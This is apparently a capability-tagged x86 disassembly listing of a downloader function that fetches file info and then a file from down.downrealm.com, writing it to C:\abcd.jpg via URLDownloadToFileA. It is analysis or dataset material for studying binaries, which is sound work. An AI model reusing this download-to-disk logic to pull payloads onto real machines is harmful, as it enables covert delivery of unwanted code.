Function at 0x402c50
Capabilities:
Download url
Receive data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x43f2e0
mov eax, dword fs:[0]
push eax
sub esp, 0x68
push ebx
push esi
push edi
mov eax, dword [0x4535c4]
xor eax, esp
push eax
lea eax, [esp + 0x78]
mov dword fs:[0], eax
push 0x4479a8
call fcn.00428db1
add esp, 4
lea esi, [esp + 0x3c]
call fcn.00406b10
xor ebx, ebx
mov dword [esp + 0x80], ebx
call fcn.0041402b
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x402cb5
push 0x80004005
call fcn.004017b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x1c], eax
mov byte [esp + 0x80], 1
call fcn.0041402b
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x402ce7
push 0x80004005
call fcn.004017b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x30]
mov byte [esp + 0x84], 2
call fcn.00408460
call fcn.0041402b
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x402d27
push 0x80004005
call fcn.004017b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0x20], esi
push 0x2e
mov byte [esp + 0x84], 3
mov ecx, dword [esp + 0x30]
push ebx
push ecx
lea edx, [esp + 0x28]
push edx
call fcn.00416843
test eax, eax
je 0x402ea4
lea esp, [esp]
mov ecx, dword [esp + 0x1c]
inc ebx
mov dword [esp + 0x38], ebx
cmp ebx, 1
jne 0x402dcf
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x402e86
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x402dbc
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x402dbc
push eax
call fcn.004083f0
mov ebx, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x402dac
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebx, 0x10
mov dword [esp + 0x20], ebx
mov ebx, dword [esp + 0x38]
jmp 0x402e86
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [esp + 0x28]
call fcn.00408910
jmp 0x402e86
push 0x4479e8
push ecx
call fcn.00428fbe
add esp, 8
test eax, eax
je 0x402ea4
mov edx, dword [esp + 0x1c]
push 0x4479ec
push edx
call fcn.00428fbe
add esp, 8
test eax, eax
je 0x402ea4
mov eax, dword [esp + 0x1c]
push 0x4479f0
push eax
call fcn.00428fbe
add esp, 8
test eax, eax
je 0x402ea4
mov ecx, dword [esp + 0x1c]
push 0x4479f4
push ecx
call fcn.00428fbe
add esp, 8
test eax, eax
je 0x402ea4
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x38]
push 0x4479f8
push eax
call fcn.004080d0
add esp, 0xc
mov byte [esp + 0x80], 4
mov eax, dword [eax]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.00408260
mov byte [esp + 0x80], 3
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402e86
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x2c]
push 0x2e
push ebx
push ecx
lea edx, [esp + 0x28]
push edx
call fcn.00416843
mov esi, dword [esp + 0x20]
test eax, eax
jne 0x402d60
cmp dword [esi - 0xc], 0
jge 0x402eaf
or edi, 0xffffffff
jmp 0x402eca
push 0x4479fc
push esi
call fcn.00428cd8
add esp, 8
test eax, eax
jne 0x402ec6
or edi, 0xffffffff
jmp 0x402eca
sub eax, esi
mov edi, eax
call fcn.0041402b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x402ee4
push 0x80004005
call fcn.004017b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x34], eax
mov byte [esp + 0x80], 5
mov esi, 1
cmp edi, 0xffffffff
je 0x402f33
push esi
lea ecx, [esp + 0x38]
push str.__d_
push ecx
call fcn.00401880
mov edx, dword [esp + 0x40]
add esp, 0xc
push 0x44899b
push edx
lea eax, [esp + 0x28]
push eax
call fcn.00407c40
inc esi
cmp esi, 0x33
jl 0x402f01
push 0x44899b
push str._download
lea ecx, [esp + 0x28]
push ecx
call fcn.00407c40
mov ecx, dword [esp + 0x20]
mov esi, dword [0x457fb0]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x40], eax
cmp eax, esi
je 0x402fa9
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x402f9a
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x402f9a
push eax
call fcn.004083f0
mov ebx, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x402f8f
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebx, 0x10
mov dword [0x457fb0], ebx
jmp 0x402fa9
mov eax, dword [ecx - 0xc]
push eax
push ecx
mov ecx, 0x457fb0
call fcn.00408910
mov ecx, dword [0x457fb0]
mov edx, dword [0x457748]
push ecx
push edx
push 0x447a14
call fcn.00428db1
add esp, 8
mov eax, esp
mov dword [esp + 0x3c], esp
push str.Downloader_Demo.txt
push 0x457748
push eax
call fcn.00407ff0
add esp, 0xc
lea ecx, [esp + 0x3c]
call fcn.00407750
mov byte [esp + 0x80], 6
mov ecx, dword [eax]
mov esi, dword [0x457fe4]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x40304a
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x40303b
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40303b
push eax
call fcn.004083f0
mov ebx, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x403030
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebx, 0x10
mov dword [0x457fe4], ebx
jmp 0x40304a
mov eax, dword [ecx - 0xc]
push eax
push ecx
mov ecx, 0x457fe4
call fcn.00408910
mov byte [esp + 0x80], 5
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403072
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [0x457fb0]
push ecx
push 0x447a48
call fcn.00428db1
add esp, 4
mov edx, esp
mov dword [esp + 0x3c], esp
push 0x457fb0
push str.http:__down.downrealm.com_get_fileinfo.php_file_name
push edx
call fcn.004080d0
add esp, 0xc
lea ecx, [esp + 0x34]
call fcn.00407750
mov byte [esp + 0x80], 7
mov eax, dword [esp + 0x30]
push eax
push 0x447ad4
call fcn.00428db1
add esp, 8
xor edi, edi
call fcn.0041402b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4030de
push 0x80004005
call fcn.004017b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x24], eax
mov byte [esp + 0x80], 8
call fcn.0041402b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x403110
push 0x80004005
call fcn.004017b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0x28], esi
mov byte [esp + 0x80], 9
mov ecx, dword [esp + 0x30]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x403183
cmp dword [esi + 0xc], 0
lea ebx, [esi + 0xc]
jl 0x403175
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x403175
push eax
call fcn.004083f0
mov dword [esp + 0x3c], eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [ebx], eax
dec eax
test eax, eax
jg 0x403168
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov ecx, dword [esp + 0x38]
add ecx, 0x10
mov dword [esp + 0x28], ecx
jmp 0x403183
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [esp + 0x30]
call fcn.00408910
mov edx, dword [esp + 0x28]
push 0x2c
push 0
push edx
lea eax, [esp + 0x30]
push eax
call fcn.00416843
test eax, eax
je 0x403429
inc edi
push 0x447aec
mov dword [esp + 0x3c], edi
call fcn.00428db1
add esp, 4
cmp edi, 1
jne 0x40326c
mov eax, dword [esp + 0x24]
mov ebx, dword [0x457fa0]
lea esi, [eax - 0x10]
add ebx, 0xfffffff0
cmp esi, ebx
je 0x40340b
cmp dword [ebx + 0xc], 0
jl 0x40325d
mov ecx, dword [esi]
cmp ecx, dword [ebx]
jne 0x40325d
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x403202
cmp eax, dword [esi]
jne 0x403202
mov edi, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x403236
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 1
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x403453
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
inc eax
push eax
add esi, 0x10
push esi
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.00428a20
add esp, 0x10
lea eax, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [eax], edx
dec edx
test edx, edx
jg 0x40324f
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
add edi, 0x10
mov dword [0x457fa0], edi
jmp 0x40340b
mov ecx, dword [eax - 0xc]
push ecx
push eax
mov ecx, 0x457fa0
jmp 0x403406
cmp edi, 2
jne 0x403328
mov eax, dword [esp + 0x24]
mov ebx, dword [0x457fa8]
lea esi, [eax - 0x10]
add ebx, 0xfffffff0
cmp esi, ebx
je 0x40340b
cmp dword [ebx + 0xc], 0
jl 0x403319
mov ecx, dword [esi]
cmp ecx, dword [ebx]
jne 0x403319
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x4032be
cmp eax, dword [esi]
jne 0x4032be
mov edi, esi
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x4032f2
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 1
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x403453
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
inc eax
push eax
add esi, 0x10
push esi
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.00428a20
add esp, 0x10
lea eax, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [eax], edx
dec edx
test edx, edx
jg 0x40330b
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
add edi, 0x10
mov dword [0x457fa8], edi
jmp 0x40340b
mov ecx, dword [eax - 0xc]
push ecx
push eax
mov ecx, 0x457fa8
jmp 0x403406
cmp edi, 3
jne 0x40338f
mov ecx, dword [esp + 0x24]
mov esi, dword [0x457fac]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x40340b
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x403383
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x403383
push eax
call fcn.004083f0
mov ebx, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x403375
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebx, 0x10
mov dword [0x457fac], ebx
jmp 0x40340b
mov eax, dword [ecx - 0xc]
push eax
push ecx
mov ecx, 0x457fac
jmp 0x403406
cmp edi, 4
jne 0x4033a8
mov ecx, dword [esp + 0x24]
push ecx
call fcn.00428e8c
add esp, 4
mov dword [0x457fb8], eax
jmp 0x40340b
cmp edi, 5
jne 0x40340b
mov ecx, dword [esp + 0x24]
mov esi, dword [0x457fb4]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x40340b
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x4033fc
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x4033fc
push eax
call fcn.004083f0
mov ebx, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x4033f1
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebx, 0x10
mov dword [0x457fb4], ebx
jmp 0x40340b
mov eax, dword [ecx - 0xc]
push eax
push ecx
mov ecx, 0x457fb4
call fcn.00408910
mov edi, dword [esp + 0x38]
mov ecx, dword [esp + 0x28]
push 0x2c
push edi
push ecx
lea edx, [esp + 0x30]
push edx
call fcn.00416843
test eax, eax
jne 0x40319e
mov eax, dword [0x457fb8]
cmp eax, 0x400
jge 0x4034ba
call fcn.0041402b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x403458
push 0x80004005
call fcn.004017b0
call fcn.004016e0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0x80], 0xa
mov ecx, dword [0x457fb8]
push ecx
lea edx, [esp + 0x3c]
push str.__d_Byte
push edx
call fcn.00401880
mov esi, dword [esp + 0x44]
mov ebx, dword [ebp + 8]
add esp, 0xc
push esi
push 0x3f4
mov ecx, ebx
call fcn.0040e7f7
lea eax, [esi - 0x10]
mov byte [esp + 0x80], 9
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x40358e
cmp eax, 0x100000
jge 0x40350c
call fcn.0041402b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4034db
push 0x80004005
call fcn.004017b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0x80], 0xb
fild dword [0x457fb8]
sub esp, 8
fmul qword [0x448b00]
fstp qword [esp]
push str.__0.1f_KB
jmp 0x403555
call fcn.0041402b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x403526
push 0x80004005
call fcn.004017b0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0x80], 0xc
fild dword [0x457fb8]
sub esp, 8
fmul qword [0x448af8]
fstp qword [esp]
push str.__0.2f_MB
lea ecx, [esp + 0x44]
push ecx
call fcn.00401880
mov esi, dword [esp + 0x48]
mov ebx, dword [ebp + 8]
add esp, 0x10
push esi
push 0x3f4
mov ecx, ebx
call fcn.0040e7f7
lea eax, [esi - 0x10]
or ecx, 0xffffffff
lea edx, [eax + 0xc]
mov byte [esp + 0x80], 9
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40359a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [0x457fb4]
push ecx
push 0x447b14
call fcn.00428db1
push 0x457fb4
lea edx, [esp + 0x44]
push str.http:__down.downrealm.com_d_img_
push edx
call fcn.004080d0
mov eax, dword [eax]
add esp, 0x14
push 0
push 0
push str.C:__abcd.jpg
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4035f5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push str.C:_abcd.jpg
call fcn.00408a40
push ebx
call fcn.004044d0
mov ecx, dword [0x457fac]
push ecx
push 0x3f3
mov ecx, ebx
call fcn.0040e7f7
mov edx, dword [0x457fb8]
mov eax, dword [0x457fa8]
mov ecx, dword [0x457fa0]
push edx
push eax
push ecx
push str.mainProgram_id___s__title___s__size___d_n
call fcn.00428db1
mov edx, dword [ebx + 0x78]
push edx
push 0x447bb8
call fcn.00428db1
mov ecx, dword [ebx + 0x78]
mov esi, dword [0x457fbc]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
add esp, 0x18
cmp eax, esi
je 0x4036b1
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x4036a2
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x4036a2
push eax
call fcn.004083f0
mov dword [esp + 0x3c], eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x403693
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov ecx, dword [esp + 0x38]
add ecx, 0x10
mov dword [0x457fbc], ecx
jmp 0x4036b1
mov eax, dword [ecx - 0xc]
push eax
push ecx
mov ecx, 0x457fbc
call fcn.00408910
push 0x447bf0
lea edx, [esp + 0x3c]
push 0x457fa8
push edx
call fcn.00407ff0
add esp, 0xc
mov byte [esp + 0x80], 0xd
mov eax, dword [eax]
push eax
mov ecx, ebx
call fcn.0040e8b8
mov byte [esp + 0x80], 9
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403702
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x80], 8
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40372a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x80], 7
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403752
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x80], 5
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40377a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x80], 3
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4037a2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x40]
mov byte [esp + 0x80], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4037c7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x80], 1
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4037ef
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x80], 0
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403817
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x80], 0xffffffff
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403842
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x78]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4